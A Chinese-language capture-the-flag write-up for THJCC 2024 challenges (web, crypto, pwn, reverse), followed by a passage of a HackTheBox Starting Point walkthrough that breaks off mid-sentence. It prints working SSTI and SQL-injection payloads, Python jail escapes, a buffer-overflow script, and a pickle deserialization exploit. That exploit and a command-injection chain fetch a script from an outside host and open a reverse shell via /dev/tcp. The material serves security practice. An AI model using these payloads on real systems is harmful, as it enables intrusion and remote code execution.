
Author: Whale120

先把 test:test1234 拿去登入，然後發現他說我不是 admin
觀察一下 cookie 把 test 改成 admin
出現其他的東西了! 是個 cat say 然後會根據你 url 後面輸入的東西顯示出來
原始碼也有提示 SSTI，去網路找個 payload 送過去就好了

{{ cycler.__init__.__globals__.os.popen('ls').read() }}
{{ cycler.__init__.__globals__.os.popen('cat f*').read() }}

FLAG : THJCC{w3ak_auth_+_S$TI}

🦊🌽

你可以變成管理員,看到開心的狐狐嗎?

🌽

*這個Emoji和他的連結跟題目沒有關係(This Emoji and its link are not parts of the lab)

http://23.146.248.36:10010

這是個會把你的 cookie 拿去 sql 找 row 然後如果你是 admin 就可以回傳 FLAG
可以知道我們目標是 sqli 拿到 admin 的權限
而主要驗證的地方在這邊

username, password = base64.b64decode(content.encode()).decode(encoding="utf8").split("@")
        # 去除所有空格
        username = "".join(username.split())
        password = "".join(password.split())

        # 過濾username中所有特殊字符
        mu = re.match(r'.*\W', username)
        if mu is None: 
            # 過濾password中所有英文字母跟等號
            cflag = False
            for w in password: 
                if (w in string.ascii_letters) or (w == "="): cflag = True
            if (cflag): return None
            else:
                conn = sqlite3.connect("user.db")
                rows = conn.execute(f"select * from user where (user='{username}') and (pass='{password}');")

                result = None
                for row in rows: result = tuple(row)
                conn.close()

                if result is None: return None
                else: return str(result[0])
        else: return None
    except: return None

可以觀察 rows 有 sqli
我們的目標是要做出像是 password='' or 1=1;-- 的效果
' or 1=1;-- 要 bypass "space" "=" "or"

"space" 可用 /**/ "=" 可以用大於小於 2>1 "or" 可以用 "||"

所以全部看起來會像是

admin@')/**/||/**/2>1;--

base64 = YWRtaW5AJykvKiovfHwvKiovMj4xOy0t

拿去 set cookie 就過了 φ(゜▽゜*)♪

FLAG : THJCC{cUt3_wh1e3_f0x_sh1rakam1_fuBuk1_0x133ee79}

Misc

原神帳號外流

http://23.146.248.36:40009/login

小朝是一位來自THJCC這間公司的資安工程師,有一次上班摸魚中無意間開啟了原神並且登入了帳號,然而天真的他居然忘了用vpn就直接登入遊戲,導致公司的藍隊演練工程師攔截封包時,意外獲取了他的帳號,於是身為首席駭客的你並想登入他的原神帳號並且幹走他的遊戲道具。

請在此封包中找到正確的帳號密碼並登入取得flag

Author : dkri3c1

題目給了一個 pcap 檔，用 wireshark 右鍵 follow TCP Stream 一個一個試密碼就出來了

name=Frieren&password=B3stan1me

試到這個就出來了!

FLAG : THJCC{W3r3_sHarKKKKKK_MasT3R_C8763}

出題者大合照

好誒!這是我們在 SITCON 2024 的大合照!

感謝每一位辛苦的出題者 才有這次的比賽!

但是但是 可惡的駭客 潘志豪 把FLAG給藏在這張照片了

你能找到它嗎?

Author : OsGa

各種技巧試了一下最後用到 steghide 發現有東西
試了一下指令

steghide extract -sf chal.jpg

passphrase 不用打直接按 enter
就看到有東西寫到 flag.txt

soar@universe:/mnt/c/Users/soar/Desktop$ steghide extract -sf chal.jpg
Enter passphrase:
wrote extracted data to "flag.txt".

打開看就有了

THJCC{S1TC0N_2o2A_a1l_hAnDs0m3_9uY5}

PyJail-0

nc 23.146.248.36 40000

Try to escape it!

Author:Naup堇姬

直接拿你輸入的東西去 eval，沒有擋任何東西

__import__('os').system('sh')

FLAG : THJCC{Use_M2g1c_f2un3ti0n_in_P9Ja1l!!}

PyJail-1

nc 23.146.248.36 40001

Try to escape it!I increased security!

Author:Naup堇姬

        print("Try to escape!!This is a jail")
        print("I increased security!!!")
        a=input("> ")
        if len(a)<15:
            eval(a)
        else:
            print("Don't escape!!")
    except:
        print("error")
        exit()

限制了 15 的長度，否則拿去 eval
上網找一下資料，找到這個

eval(input())
__import__('os').system('sh')

就可以拿到 shell 了~

FLAG : THJCC{Inp3t_b9p2sss_lim1t_1n+p3j2i1!}

Evil Form

https://forms.gle/RwfTU2a8LdBZUgxX7

Asia G0dTone在一次地下城冒險中,受到了魔鬥凱薩的攻擊,並且受困於名為表單競技場的技能中,身為首席駭客兼勇者的你請英雄救美吧!

Author : dkri3c1

這題也不知道是不是預期解 XD
我是檢查網頁原始碼然後直接 ctrl + F 找 THJCC

"Here is your flag 1/3 : THJCC{",8,null,

往下找看到奇怪的東西
解 unicode + 轉換 HTML equivalent 後看到

Y0u Successful Escape The l00p! again<div>BTW I do some encrypt of this message xD<br><div><span>w6C6 :D J@FC 7=28</span> 2/3: <span>w24<<<<E96</span></div></div><div><br></div>

經過博元婦產科那題，我拿去 cyberchef
用 ROT 47

Here is your flag 2/3 : Hackkkkthe

接著往下翻，我找到

"3/3","Y0u must master in hacking google form!!!\nS0 You als0 g00d at Crypto!!!\nSGVyZSBpcyB5b3VyIGZsYWcgMy8zIDogX2dvb2dsZV9mMHJNX01vcmRla2Fpc2VyfQ\u003d\u003d"

看起來像是 base64
解碼後

Here is your flag 3/3 : _google_f0rM_Mordekaiser}

FLAG : THJCC{Hackkkkthe_google_f0rM_Mordekaiser}

Geoguesser???

I saw a photo of a cram school on social media that seemed familiar, and I want to know its location.Could you provide the coordinates of the cram school in the photo, rounded to the fourth decimal place? (If you have any question. you can open ticket to tell me)

Flag Format:THJCC{緯度_經度} (ex:THJCC{23.4567_111.2458})

Author:Naup堇姬

題目網址

目的是找到圖中的補習班-但洩漏了電話!
把電話拿去搜尋即可拿到地址

68-6 Yamasakichō Shikazawa, Shiso, Hyogo 671-2576日本

然後去 google map 複製精確經緯度

(35.0039558, 134.5426340)

FLAG : THJCC{35.0039_134.5426}

I want to go to Japan

I want to go JAPAN!!!This shrine is so cute!Tell me where it is. 

Flag Format:THJCC{緯度_經度} (Taken from the third decimal place, the answer is mainly from wiki) ex:THJCC{20.478_154.789}

Author:Naup堇姬

題目位置

這題前面我一直在耍笨，一直以為是飯店就一直填飯店的位置，回去看題目才發現是神社......
先去找圖片上女孩的名字，可以發現是在北海道函館那邊

後來找到這個然後去搜尋了附近的神社

找到這個神社

把經緯度填上去就中了

(41.782_140.791)

FLAG : THJCC{41.782_140.791}

Crypto

博元婦產科

你好,我是博元妇产科蔡医师,近期我们正计画打造一批超强资安人才菁英,结果发生意外,这群小鬼居然绑架我,还差5000元就能逃离出他们魔掌 ,但我的银行号码被他们给加密了,这是加密后的银行号码TUFDVlZ7cFBwLnU0VXJmVGQzay52MEYubVB9Cg== ,你现在帮过我,我承诺送你蔡医师水洗T还有蔡医梳,并帮你培养一个 试管婴儿。

Author:OsGa

先 base64 解碼

MACVV{pPp.u4UrfTd3k.v0F.mP}

看起來有點像 FLAG
但很明顯有偏差，但 {} 沒有被替換掉，可以想到 ROT
試試看 cyberchef 的 ROT13 Brute Force

Amount =  4: QEGZZ{tTt.y4YvjXh3o.z0J.qT}
Amount =  5: RFHAA{uUu.z4ZwkYi3p.a0K.rU}
Amount =  6: SGIBB{vVv.a4AxlZj3q.b0L.sV}
Amount =  7: THJCC{wWw.b4BymAk3r.c0M.tW}
Amount =  8: UIKDD{xXx.c4CznBl3s.d0N.uX}
Amount =  9: VJLEE{yYy.d4DaoCm3t.e0O.vY}
Amount = 10: WKMFF{zZz.e4EbpDn3u.f0P.wZ}
Amount = 11: XLNGG{aAa.f4FcqEo3v.g0Q.xA}

在 7 的地方看到 FLAG 了!

FLAG : THJCC{wWw.b4BymAk3r.c0M.tW}

Baby RSA

我第一次寫RSA加密系統,它應該非常安全吧?
Author: Whale120


----------out.txt--------------

n=82905415164584389498448026225415348174116889583631879848801181149026319038674433017502044002549515598507479948874775953835212967198538225241428587373756775740055748735130854340971352961320030869329470225485298576771293717521094156379711969189220894688314434350844834550493516522022887482934023393062055248939
e=3
c=1235510871330310226418475368687292699345971692547143305272739246584681306551612197261843363110934247264155805712224284359950318209523214607727920666576650829438419066769737275066742744939310467207427865797663652787759689887376716363284875754160160311515163574335764507693157

其實我不太會 crypto 但這題解的人數太多我就是著解解看
最後在網路找到 maple's blog
改一下數字再跑就可以了

import gmpy2

n = 82905415164584389498448026225415348174116889583631879848801181149026319038674433017502044002549515598507479948874775953835212967198538225241428587373756775740055748735130854340971352961320030869329470225485298576771293717521094156379711969189220894688314434350844834550493516522022887482934023393062055248939
c=1235510871330310226418475368687292699345971692547143305272739246584681306551612197261843363110934247264155805712224284359950318209523214607727920666576650829438419066769737275066742744939310467207427865797663652787759689887376716363284875754160160311515163574335764507693157

for k in range(10000000000):
    [r, exact] = gmpy2.iroot(c + n * k, 3)
    if exact:
        print(k)
        print(r)
        print(bytes.fromhex(hex(r)[2:]))
        print(r ** 3 - n)
        break

        
PS C:\Users\soar\Desktop\THJCC> python .\ano.py
0
10730390416708815983109252601170483548761139798721771578612051039742995577854304300261210493
b'THJCC{small_eeeee_can_be_pwned_easily}'
-82905415164584389498448026225415346938606018253321653430325812461733619692702740470358738729810269013826173397262578691991849856264290961085622875149472415789737539211916246613050686384669201430910403455748023510028548778210626948951846171525568106928624546974128471265617762361862575967770449057297547555782

FLAG : THJCC{small_eeeee_can_be_pwned_easily}

《SSS.GRIDMAN》

nc 23.146.248.36 20000

I find this computer.It may have secret about GRIDMAN

Author:Naup堇姬

~~丟程式碼給 GPT 生出解密腳本~~

import numpy as np

shares = [(274, 3183503957), (900, 3802401987), (180, 3147556947)] # 手動替換
x_values = [x for x, _ in shares]
y_values = [y for _, y in shares]

degree = len(shares) - 1
recovered_poly = np.polyfit(x_values, y_values, degree)

secret = int(recovered_poly[-1])

print("Recovered Secret:", secret)

再把 secret 輸入回去就有 FLAG 了

FLAG : THJCC{SSS_1s_a_c001_w2y_t0_pr0t3c7_s3c23t}

JPG^PNG=?

I use JPG ang PNG to xor.Can you try to decrypt the image?

Author:Naup堇姬

題目給了 enc.txt 跟 server.py
先觀察一下 server.py 怎麼實作的

from itertools import cycle

def xor(a, b):
    return [i^j for i, j in zip(a, cycle(b))]

KEY= open("key.png", "rb").read()
FLAG = open("flag.jpg", "rb").read()

key=[KEY[0], KEY[1], KEY[2], KEY[3], KEY[4], KEY[5], KEY[6], KEY[7]]

enc = bytearray(xor(FLAG,key))

open('enc.txt', 'wb').write(enc)

可以看到他拿了 key.png 的前 8 位來做 xor
而 xor 可倒推所以我們只要知道 key 就可以解回去了
而每個檔案都有自己的 magic header 根據這個查表

89 50 4E 47 0D 0A 1A 0A

以上就是 png 一開始的東西剛好是 key 的長度
就可以寫個 python 解回去了

from itertools import cycle

def xor(a, b):
    return [i^j for i, j in zip(a, cycle(b))]

key = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]
enc = open("enc.txt", "rb").read()

flag = bytearray(xor(enc, key))
open('flag.jpg', 'wb').write(flag)

Pwn

NC

nc 172.104.114.9 30000

nc 上去然後他要叫你回答這個是誰上傳的

Rick Astley

丟上去就有FLAG了

FLAG : THJCC{N3veR_g0nn4_l37_You_dOwn!!!}

Ret2func

Someone told me that gets is dangerous but WHY??

nc 172.104.114.9 30004
Author: Aukro

void win() {
    system("sh");
}


int main() {
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    
    puts("Do you want to be a VIP of Country Wahahabihal");
    printf("You would need %lld dollars if you want\n",main);
    char choice [5];
    char username[32];
    scanf("%5s", choice);
	getchar();
    if(choice[0] == 'y'){
        gets(username);
        puts("Congratulation, you're now the 1st VIP of Country Wahahabihal");
    }
    else {
        exit(0);
    }
    return 0;

}

有個 win function 直接讓你跳
還使用 gets 做 input 所以可以 BOF
所以去把 win 的位址找出來再蓋位置就好

我原本是蓋 0x28 個 A 但一直失敗卡了超久，最後暴力試到 segmentation fault 才蓋成功。

from pwn import *
import time

context.log_level = 'debug'
r = remote('23.146.248.36', 30004)

r.sendlineafter('you want', 'y')
time.sleep(1)
addr = 0x40121e

r.sendline(b'A'*56 + p64(addr))
r.interactive()

Reverse

Baby C

保證簡單,輸入密碼就好 :D
所以說我現在在聽什麼呢?
Author: Whale120

寫個腳本把 password 解回來就好

a = [44, 48, 50, 59, 59, 3, 16, 12, 12, 8, 11, 66, 87, 87, 15, 15, 15, 86, 1, 23, 13, 12, 13, 26, 29, 86, 27, 23, 21, 87, 15, 25, 12, 27, 16, 71, 14, 69, 75, 32, 59, 46, 53, 75, 63, 75, 8, 22, 11, 5]
tar = 120
result = ""

for i in a:
    result += chr(i ^ tar)

print(result)

FLAG : THJCC{https://www.youtube.com/watch?v=3XCVM3G3pns}

PYC REVERSE

Strange file?Do you know what is .pyc

Author:Naup堇姬

------------msg.txt---------------
10730390416708814647386325276467849806006354580175878786363505755256613965929606057246313695

要先把 .pyc 反編譯回去，我用 pycdc

soar@universe:/mnt/c/Users/soar/Downloads$ pycdc main.pyc
# Source Generated with Decompyle++
# File: main.pyc (Python 3.10)

from FLAG import FLAG
from Crypto.Util.number import bytes_to_long

def xor1(flag):
    return flag ^ 124789


def xor2(flag):
    return flag ^ 487531


def xor3(flag):
    return flag ^ 784523


def xor4(flag):
    return flag ^ 642871


def xor5(flag):
    return flag ^ 474745

flag = bytes_to_long(FLAG)
count = 0
count += 1
if count == 1:
    flag = xor1(flag)
    count += 2
    if count == 3:
        flag = xor2(flag)
        count += 1
    if count == 4:
        flag = xor3(flag)
        count -= 2
    else:
        flag = xor2(flag)
        count += 1
else:
    flag = xor3(flag)
    count += 5
if count == 2:
    flag = xor4(flag)
elif count == 6:
    flag = xor5(flag)
print(flag)

寫個腳本解回去就好了

from Crypto.Util.number import long_to_bytes

enc_flag = 10730390416708814647386325276467849806006354580175878786363505755256613965929606057246313695

def xor1(flag):
    return flag ^ 124789

def xor2(flag):
    return flag ^ 487531

def xor3(flag):
    return flag ^ 784523

def xor4(flag):
    return flag ^ 642871

def xor5(flag):
    return flag ^ 474745

aaa = xor1(xor2(xor3(xor4(enc_flag))))

print(long_to_bytes(aaa))

FLAG : THJCC{pyc_rev3r3e_C3n_u32_on1i5e_t0Ol}

⚾

Are you a good Pitcher?
Author: FlyDragon

玩了一下，不管怎麼樣都會 homerun
往 miss 追一下，看到會呼叫 flag
那我們就直接把程式 patch 成呼叫 miss 就好了
這裡我用 IDA 的 patch 直接 call
我是直接 patch 上面的那個函式 XD

然後存回去執行
選完就直接跑出 flag 了

soar@universe:/mnt/c/Users/soar/Desktop/THJCC/rev$ ./game
===== Welcome to the baseball game! =====
Your opponent is Ohtani Shohei !
1
========== Baseball Court ==========

                 B▭
                 /  \
                /    \
               /      \
              /   P    \
             ▬        ▬
               ╲  ▬  ╱

========== Baseball Court ==========

Please choose the pitch you want to throw
(1) Fastball
(2) Curveball
(3) Slider
(4) Changeup
4
███╗   ███╗██╗███████╗███████╗
████╗ ████║██║██╔════╝██╔════╝
██╔████╔██║██║███████╗███████╗
██║╚██╔╝██║██║╚════██║╚════██║
██║ ╚═╝ ██║██║███████║███████║
╚═╝     ╚═╝╚═╝╚══════╝╚══════╝
Missed!! So u win :>
THJCC{u_8e@t_m3...}�

FLAG : THJCC{u_8e@t_m3...}

Insane

🥒

某個人花費新台幣十萬元重金打造了個人檔案自製系統

讓所有人(包括他自己)可以在這個平台上展現(看似)完美的自我

但是製作網站的工程師不滿他的態度,製作網站時順手埋了漏洞

你可以找到漏洞,取得藏在服務器內的flag嗎?

http://23.146.248.36:10008

Author: pour33142GX

可以讓你上傳檔案，看起來就很不安全，看看他是怎麼實作的

def profile():
    if request.method == "GET": 
        u, d = parse("example/adminExample.pickle")
        return render_template("admin.html", user = u, des = d, fileHeader = "ExampleProfile")
    elif request.method == "POST":
        if 'file' in request.files:
            file = request.files['file']
            if file.filename == '': return "FAIL"
            else: 
                filename = f"uploads/{random.randint(1000000000, 9999999999)}.pickle"
                file.save(filename)
                with open(filename, "rb") as f: item = pickle.load(f)
                return render_template("admin.html", user = item.user, des = item.description, fileHeader = "Your Profile")

可以看到他拿了你傳的檔案直接做了 pickle.load 直接想到了反序列化，還沒擋任何東西，寫個 python 傳上去就可以 RCE 了

exploit

Hint 有說 reverse shell 彈不回來可以用 curl 但我過了 10 分鐘他還是卡在那邊 XD，所以我自己寫個 sh 讓他下載執行讓他彈回來 :D

Server

from flask import Flask, send_file

app = Flask(__name__)

@app.route('/download')
def download_shell():
    filename = 'shell.sh'
    return send_file('./' + filename, as_attachment=True)

if __name__ == '__main__':
    app.run(debug=True)

/bin/sh -i >& /dev/tcp/148.100.77.86/8888 0>&1

Exp

import pickle
import base64
import os

command = 'curl https://b33a-123-193-178-235.ngrok-free.app/download -o /tmp/shell.sh && chmod +x /tmp/shell.sh'

#command = 'bash /tmp/shell.sh'

class Exp:
    def __reduce__(self):
        return (__import__('subprocess').getoutput, (command,))


with open('payload.pickle', 'wb') as f:
    pickle.dump(Exp(), f)

FLAG : THJCC{yumwy_RCe_qr0f!13_p1ckl3_Ou0b}

FFAM(Find Flag Automaticaliiy Machine)

http://23.146.248.36:10000/

This is a machine developed by Naup. Compared with FFAM, it can automatically dig out flags. But he doesn't have enough RAM... . You can try to buy some RAM!!

Warning:Please do not maliciously damage the chall.If you think your idea is correct but you can't succeed, please open a ticket and I will check the status of the chall.

Author:Naup堇姬

~~這題感覺是叫我們挖礦~~

簡單來講有 RAM 就可以做更多事，所以我們要想辦法買RAM

來看看他怎麼買 RAM

if YourToKeNinShop!=JWTMODE.JWT_Naup() and (RAM>0 or RAM<0):
        
    flash("You are not my MASTER!Bad hacker!")

這邊是用 jwt 驗證身分的，原本用 jwt-cracker 去爆但內存都不夠了還沒跑出來 (￣ ‘i ￣;)

網站一開始給了個 webshell 但長度只能小於五，還有一堆字都不能用，後來踹到 * 可以選到 ASECRETKEY.txt 的檔名，而執行他可以 leak 出 key，我們就可以任意簽 jwt 了

設完後不要重新整理，會被洗掉...被搞了五次才回去看了程式

至於搞錢了話，把另外兩個設負的先買，就有用不完的錢了!
買完後就可以去 /shell 用比較沒限制的 shell 了!

@app.route("/exe", methods=["GET", "POST"])
def exe():
    if session["RAM"] <3:
        return redirect("/FFAM")
    data = request.json
    user_input = data.get('userInput')
   
    BLACKLIST=[ ';', '>','|', '&', '<', '\n','`', '*', '?','{' , '}', '[', ']','%']
    for i in BLACKLIST:
        if i in user_input:
            return "You are not my MASTER.You don't use this character."
        
    cmd="cat %s.txt"% (user_input)
    result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
    if result.returncode == 0:
        output = str(result.stdout)
        
        return output
    else:
        output = "Command failed with error code:"+str(result.returncode)
        return output

禁掉了一些危險東西，但還有 $() 能用
所以像上題一樣我傳 sh 過去開 reverseshell 就好了!
喔對這邊要分開給，因為有擋 &

$(curl https://35c9-123-193-178-235.ngrok-free.app/download -o /tmp/shell.sh)
$(chmod +x /tmp/shell.sh)
$(bash /tmp/shell.sh)

FLAG : THJCC{F1nd_F1ag_2ut0m2t1c_mach1n3!!!}

This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: https://solarfish.me/blog/thjcc_2024_wp/

HackTheBox Starting Point

solarfish — Fri, 01 Mar 2024 00:00:00 GMT

Meow (Pwned!)

先 nmap 起手掃一遍
可以觀察到有 port 23 (telnet)
暴力試試看有的帳號 admin administrator root
到 root 登入了 !
Get FLAG!

Fawn (Pwned!)

一樣 nmap 起手

┌─[tusoaring@htb-rlw5fctiog]─[~]
└──╼ $nmap -Pn -sV -sC 10.129.7.163
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-30 21:32 CDT
Nmap scan report for 10.129.7.163
Host is up (0.011s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0              32 Jun 04  2021 flag.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.14.96
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
Service Info: OS: Unix

看到有 FTP
嘗試登入

ftp 10.129.7.163

嘗試登入

admin、adminastrator、root、anonymous

試到 anonymous 的時候成功

Name (10.129.7.163:root): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX

ls 後看到有 flag.txt

用 get 這個指令下載

ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (|||42514|)
150 Opening BINARY mode data connection for flag.txt (32 bytes).
100% |***********************************|    32       42.28 KiB/s    00:00 ETA
226 Transfer complete.
32 bytes received in 00:00 (3.40 KiB/s)

回去電腦看就有了

035db21c881520061c53e0536e44f815

Dancing (Pwned!)

一樣先 NMAP 起手

─[tusoaring@htb-1famon8h34]─[~]
└──╼ $nmap -sC -sV -Pn 10.129.215.64 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 01:52 CDT
Nmap scan report for 10.129.215.64
Host is up (0.011s latency).
Not shown: 947 closed tcp ports (reset), 50 filtered tcp ports (no-response)
PORT    STATE SERVICE       VERSION
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-07-03T10:52:29
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: 3h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.12 seconds

看到這台是個有開 SMB 的機器
用 smbclient -L 這個指令觀察有甚麼 share 的資料夾

┌─[tusoaring@htb-1famon8h34]─[~]
└──╼ $smbclient -L 10.129.215.64 
Password for [WORKGROUP\tusoaring]:

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	WorkShares      Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.215.64 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

可以發現 WorkShares 這個資料夾不用密碼就可以存取
直接進去

┌─[✗]─[tusoaring@htb-1famon8h34]─[~]
└──╼ $smbclient \\\\10.129.215.64/WorkShares
Password for [WORKGROUP\tusoaring]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Mar 29 03:22:01 2021
  ..                                  D        0  Mon Mar 29 03:22:01 2021
  Amy.J                               D        0  Mon Mar 29 04:08:24 2021
  James.P                             D        0  Thu Jun  3 03:38:03 2021

		5114111 blocks of size 4096. 1734229 blocks available
smb: \> cd Amy.J\

最後在 James.P 的資料夾找到 FLAG
用 get 把 flag 載下來就好了

5f61c10dffbc77a704d76016a22f1664

Redeemer (Pwned!)

一樣 nmap 起手掃看看
這邊 -p- 的意思是掃所有 port
-T4 的意思是快速掃

┌─[tusoaring@htb-1famon8h34]─[~]
└──╼ $nmap -sC -sV -Pn -p- -T4  10.129.118.118
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 01:21 CDT
Nmap scan report for 10.129.118.118
Host is up (0.0090s latency).
Not shown: 65534 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 5.0.7

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.92 seconds

有台 redis 在上面

Redis 在幹嘛~

直接用 redis-cli 連上去

redis-cli -h 10.129.118.118

連上去後可以先用 info 看到一些基本資訊

10.129.118.118:6379> info
# Server
redis_version:5.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:66bd629f924ac924
redis_mode:standalone
os:Linux 5.4.0-77-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:9.3.0
process_id:753
run_id:d285de4141cf3ace3f006256d4a11feb25a5a112
tcp_port:6379
uptime_in_seconds:1033
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:8711697
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf

# Clients
connected_clients:1
client_recent_max_input_buffer:2
client_recent_max_output_buffer:0
blocked_clients:0

# Memory
used_memory:859624
used_memory_human:839.48K
used_memory_rss:5840896
used_memory_rss_human:5.57M
used_memory_peak:859624
used_memory_peak_human:839.48K
used_memory_peak_perc:100.00%
used_memory_overhead:846142
used_memory_startup:796224
used_memory_dataset:13482
used_memory_dataset_perc:21.26%
allocator_allocated:1601400
allocator_active:1949696
allocator_resident:9158656
total_system_memory:2084024320
total_system_memory_human:1.94G
used_memory_lua:41984
used_memory_lua_human:41.00K
used_memory_scripts:0
used_memory_scripts_human:0B
number_of_cached_scripts:0
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
allocator_frag_ratio:1.22
allocator_frag_bytes:348296
allocator_rss_ratio:4.70
allocator_rss_bytes:7208960
rss_overhead_ratio:0.64
rss_overhead_bytes:-3317760
mem_fragmentation_ratio:7.14
mem_fragmentation_bytes:5023280
mem_not_counted_for_evict:0
mem_replication_backlog:0
mem_clients_slaves:0
mem_clients_normal:49694
mem_aof_buffer:0
mem_allocator:jemalloc-5.2.1
active_defrag_running:0
lazyfree_pending_objects:0

# Persistence
loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1719987597
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:0
rdb_current_bgsave_time_sec:-1
rdb_last_cow_size:413696
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
aof_last_cow_size:0

# Stats
total_connections_received:7
total_commands_processed:8
instantaneous_ops_per_sec:0
total_net_input_bytes:346
total_net_output_bytes:18213
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
expired_stale_perc:0.00
expired_time_cap_reached_count:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:504
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0

# Replication
role:master
connected_slaves:0
master_replid:7996f26a9a5e68fd7dcf4351a0dd5b48a0f64e5f
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

# CPU
used_cpu_sys:1.052812
used_cpu_user:0.957810
used_cpu_sys_children:0.000000
used_cpu_user_children:0.001695

# Cluster
cluster_enabled:0

# Keyspace
db0:keys=4,expires=0,avg_ttl=0

可以看到有 db0 這個資料庫
我們用 select 指令切換 (在 index 0)

select 0

進來後可以用 KEYS * 查看你面的資料

10.129.118.118:6379> KEYS * 
1) "flag"
2) "numb"
3) "temp"
4) "stor"

最後用 GET 就可以看到裡面的資料 (FLAG) 了!

10.129.118.118:6379> GET flag
"03e1d2b376c37ab3f5319922053953eb"

官方語法

Explosion (Pwned!)

一樣先 NMAP 起手

┌─[✗]─[tusoaring@htb-1famon8h34]─[~]
└──╼ $nmap -sC -sV -Pn 10.129.235.84
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 02:21 CDT
Nmap scan report for 10.129.235.84
Host is up (0.0099s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-07-03T07:21:55+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: EXPLOSION
|   NetBIOS_Domain_Name: EXPLOSION
|   NetBIOS_Computer_Name: EXPLOSION
|   DNS_Domain_Name: Explosion
|   DNS_Computer_Name: Explosion
|   Product_Version: 10.0.17763
|_  System_Time: 2024-07-03T07:21:48+00:00
| ssl-cert: Subject: commonName=Explosion
| Not valid before: 2024-07-02T07:03:24
|_Not valid after:  2025-01-01T07:03:24
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-07-03T07:21:50
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.76 seconds

看到 port 3389 有開，它是遠端桌面通訊協定（RDP）預設的連接埠
我們可以用 xfreerdp 這個工具

這邊可以看到基本的用法

/u: 指定 username
/p: 指定 password
/v: 指定 Ip
嘗試連線

┌─[tusoaring@htb-1famon8h34]─[~]
└──╼ $xfreerdp /v:10.129.235.84:3389 /u:administrator

這帳號居然不用 password 就可以登入

遠端成功! 就拿到 flag 了!

Preignition (Pwned!)

直接 NMAP 起手

┌─[tusoaring@htb-1famon8h34]─[/usr/share/wordlists/dirbuster]
└──╼ $nmap -sC -sV -Pn 10.129.239.135
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 03:02 CDT
Nmap scan report for 10.129.239.135
Host is up (0.0098s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.2
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.14.2

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.65 seconds

開了個網頁服務
進去看什麼都沒，直接工具開掃

ffuf -u "http://10.129.239.135/FUZZ" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .php

或是

